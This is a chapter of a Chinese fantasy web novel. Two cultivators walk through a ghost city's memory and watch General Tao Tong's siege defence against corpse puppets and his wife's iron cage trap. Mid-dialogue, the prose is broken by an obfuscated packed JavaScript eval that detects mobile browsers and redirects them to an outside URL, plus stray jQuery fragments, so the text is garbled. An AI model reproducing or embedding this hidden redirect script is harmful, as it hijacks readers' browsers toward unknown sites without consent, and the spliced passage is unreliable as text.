与陶统将军饮酒对谈时,江梦归曾试探地问出城中是否还有其他修道之人,但将军当时大概是已经憨醉,并未对此做出回答。
而眼前的将军夫人明显不一样,她或许知道一些信息,于是江梦归追问。
“请问夫人,城中可还有一位太苍山的弟子?”
“仙家高寒之地,我等凡人不敢肖想。”夫人冷冷回了,仿佛听了太苍山这三个字而愠怒,直接拂袖离去,留下江梦归与秦川面面相觑。
看来这些个鬼魂们虽然共享意识,却如同人每一根手指一般各有脾气主见,所知晓的信息也有区别,尤其是这位陶夫人的言行格外令人在意。
如果有时间,还是要再与她接触一番......只是今夜应该是没有机会了,两人虽在鬼城,却也担心行为太过出格引来注意,于是趁着夜色离开。
拐进街巷,石板反射着惨白的月光,四下静寂,只有两个牵着手的身影慢慢地往前走,江梦归步伐飘逸灵动,秦川也是习武之人,两人的脚下都没有半点声响。
江梦归先出声打破了沉静的气氛。
“今天的事,你有什么推断吗?”
“有几处怪异,但现在还找不出实证......或者说,这次我对于在段虚幻的记忆中找到证据这件事,不抱什么希望。”秦川坦言道,“按时间来看,明日便是尸傀围城的日子,若是将军需要支援,我们又该如何?”
“那就正好看一看,传说中的尸傀是个什么模样。”江梦归揉揉眉心,突然又想起什么,“你们师门出门在外,是否有什么标记暗号一类的东西。若是你师兄真的深陷于此,会不会想办法留下什么消息?”
“我们只是寻常的仙门弟子,不似执法堂的同袍们要经常下山执行任务,并没有明说过什么暗号。不过我猜如果是师兄的话,应该会留下专属于我们师门一脉的剑意。”
“那你要好好留意,以寻到你师兄为优先事项,在此地多待一时,就多一时风险。”
江梦归言下之意很明显,不论接下来他们会见证什么,都已成历史,他们不过是从这片记忆乱流中偶然的过客,没有理由也没有能力作出更改。
即便已经知道眼前这些活生生的人们即将遭受的命运,却只能袖手旁观。
秦川不讲话,虽然心中确实惦记着城中即将发生的惨案,但眼下前辈亲身替他承担着暴露的风险,他不能任性而为。
是了,陶统将军,陶夫人,和这城中的每一个人,早在几百年前就化为了冤魂厉鬼,即便他因自己的一时私心找到了真相,又能改变什么呢?
手心里冰凉的触感提醒着秦川,眼前自己能碰触的前辈才是此间唯一的真实。
两人如游魂般漫无目的的走着,交谈又冷了下来。
“你和你师兄,关系很亲近?叫你不顾性命的也要来寻他?”
秦川点点头,如果在他所有的人际关系中排序,师兄和师父是他接触最多也最信任的两个人,现在应该还可以加上一位江梦归。
不过前辈大约看不上自己,也不屑于在小辈心中占了个什么样的位置,自己对于前辈来说应该只是个恭敬却偶尔给她添麻烦的小剑修,唯一的作用只有破案和解密。
他心中暗自叹了口气,若是这次能将师兄成功带出,自己又欠了前辈好大一个人情。
天光还未亮,城内的宅邸还在沉睡,守城的军士们却已登楼远眺,严阵以待。江梦归再见将军,是在城楼之上,此时已经可以远远看到原野上尸傀行军如虫蚁一样漫过来,密密麻麻的令人胆寒。
秦川这才注意到城外的地形与昨日进城时的地形有所不同。
城外原野恢复了原本的模样,不似百年后草木肆意,而最重要的是,脚下有一道线环绕了整个城池,仔细看去,是一圈壕沟。
陶统介绍道,“根据我得到的战报分析,尸傀虽凶狠残暴,却没有那么聪明,不懂战术,只有几十只精锐由后方的邪修亲自控制,其余的普通尸傀只会根据残暴的本能厮杀,所以我们先用沟壕阻拦。按照这个深度,应该能拦下三成敌人。”
“另外,我发现这只围城的军队中只有尸傀,并没有配合攻城的投石车或者云梯。”陶统的手按在城墙上思索着,“我推测这些怪物敌我不分,即便是敌方的将士也会受到袭击,所以才组成了单一兵种攻城。”
如果真是这样的话,对于肃昌城来说是一件好事,但陶将军的神色还是容不得半点放松。
眼看着花费了颇多心血的壕沟被怪叫爬行着的尸傀们逐渐填平,后方的敌人涌了上来,冲破了第一道防线,城墙上待命的弓手们收到指令,开始放箭阻拦。
射出的弓箭并没起到什么效用,尸傀感受不到疼痛,就算被扎成了刺猬也只会麻木地原地爬起,继续向城门狂奔,短短两个时辰,尸傀们便堆积起来,一个踩着一个试图攀上百丈城墙。
“换列!”
随着一声命令,又一队将士换下了弓手,用手中特意加长过的长枪继续刺向那些爬到过半的怪物。
看来陶将军已经尽自己最大的努力准备完全,尽量不叫手下做无谓的牺牲,四周城门紧闭,一线之外便是恐怖的刮挠与嚎叫之声,伴着将士们的喘息和嘶吼,秦川的心跟着陶将军的眉头一同越来越紧。
守城之战持续了整整三天,陶统不眠不休,眼底已经布上血丝,干裂的嘴唇微微抖动着,发下一道又一道军令。
“尸傀无止无休,我方的将士却是血肉之躯,道长眼下可有妙计破局?”
秦川的手不自觉的抖动了一下,险些要抚上自己的剑。
【不可妄动,不可拔剑。】
【所见种种,皆为虚幻。】
但当力竭的士兵惨叫着从城墙上跌落,被尸傀啃食殆尽后化作其中的一员时,他甚至不由自主的想变成这段记忆的其中一员,如果他真的在场,真的拔剑相助,是不是就能有所改变?
他没有妙计,他自知不是什么聪明的人,而后世的记载中也没有明确消灭尸傀的方法。
正当此时,有人来报。
“将军!夫人在城下,请您亲自过去。”
“胡闹!大敌当前,她不好好在后方,来前线做什么!此处凶险,叫她回去!”陶统急得语气高了几分,身形却没有动。
“夫人说,她召集城中工匠造了一物,许对将军有用,今日方成,便急着带给将军一观。”
陶统快步下了城墙,便见着自家夫人正等在下面,身后还有一辆罩着油布的马车。
“明歌!”他直接唤了她的闺名,三步并作两步上前,举手想将夫人搂过,又似乎犹豫着自己的一身汗污,又放了下来。
“前线凶险,东西我收了,你快些回后方去。”他催促道。
“夫君莫急,且看。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13138899|131343||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>金明歌回身扯下油布,里面是一个四方铁笼,却不似普通的笼子,另设机关,构造精巧。
“这是......”
“夫君曾经叹息,尸傀凶暴残忍,不可接近,但若能生擒,便有机会尝试各种方法找到其薄弱命脉,增加胜机。妾深以为然,便召集全城工匠集思广益,造出了这间铁笼。只消用铁链从墙上吊下,里面放腐肉诱之,待尸傀进入后笼子会自动闭锁,无法从内部打开,便任人处置了。”
她回身拉过陶统的双手,捧在眼前,语气真挚而诚恳,还带着一丝苦笑。
“大敌当前,不论是军民,还是我与将军,都该共同携手出一份力,若是叫将士们于前方四杀,我等只顾苟且,实在于心有愧。况且如今已是四面楚歌之势,在这肃昌城中哪里还有后方,既然不能再退一步,那我便上前和夫君并肩而战。”
“是我不能给你安稳......若是当年......”
话到一半,金明歌急急伸出手止住了他,摇了摇头。
“好,不提了。”陶统反握住夫人的手,将扎人的胡须在葱白一般的十指上蹭了蹭,心中高兴。“夫人送的这及时雨,我这就试试!”
说罢招手唤来几个力壮的军士,合力将铁笼搬上了城楼,随后挥手唤过江梦归,“道长,等将那下面的孽物捉住,你可要助我,用你的剑法好好试探这东西的致命之处,可好?”
“好。”江梦归点点头,却是一边捏了捏秦川的手心。
秦川懂了前辈的暗示,一会儿得由他来拔剑了。
这铁笼做得确实结实精巧,寻了个偏僻的地方顺着城墙放下去,果然吸引到了一只落单的尸傀,笼子的底板连接着机关,接受到重量的反馈后立刻闭锁,任由那只尸傀在笼中如何挣扎都岿然不动,成功的完成了自己的任务。
“走吧,去看看。”江梦归牵着秦川凑近了,看过笼中挣扎嘶吼的怪物,心中叹息。
它们本也是无辜的普通人,却因统治者的野心被炼化成不得安息的傀儡。
为何人世间过了千年万年,始终不曾停止过干戈呢?
“呸!就是这玩意将我们围困至此,真是怪物!”
“都是那邪修搞出来的恶事,我要是变成这幅摸样,宁愿死了算了!”
“太邪门了,我将枪尖戳进了它的脑袋都不死,怕不是得挫骨扬灰才能消停。”
城墙上驻守的军士们围了上来,各自议论着,笼中的尸傀疯狂撞击着牢笼外壁,试图伸手抓挠自己周围的人,嘴中发出不明意义的叫声,令人望而生怖。
“行了!都看过了,便回到自己岗上去,不要乱传!扰乱军心者,军法处置。”陶统也是头一次近距离观察尸傀,只觉得这东西可怜可恨,便唤来两个心腹严加看守,防止有人私下泄愤。
“我是个常年打仗的,脑袋挂在腰带上,从没想过人死了还要体面有什么用。但若是肉身被炼化成这等不人不鬼的邪物,哈,我恐怕也不会安息。”陶统嘴上说的轻松,脸上确没半点笑意,“所以道长,若是找到了它的命脉之处,还请给它个痛快。”
秦川不知如何答,只是当陶统做完交代回到前线后,他感到身后似乎有一股视线。
他回过头,迎上的目光令他心头一紧。
金明歌,陶统的夫人,用厌弃而失望的眼神在秦川脸上转了一圈,而后头也不回的走了。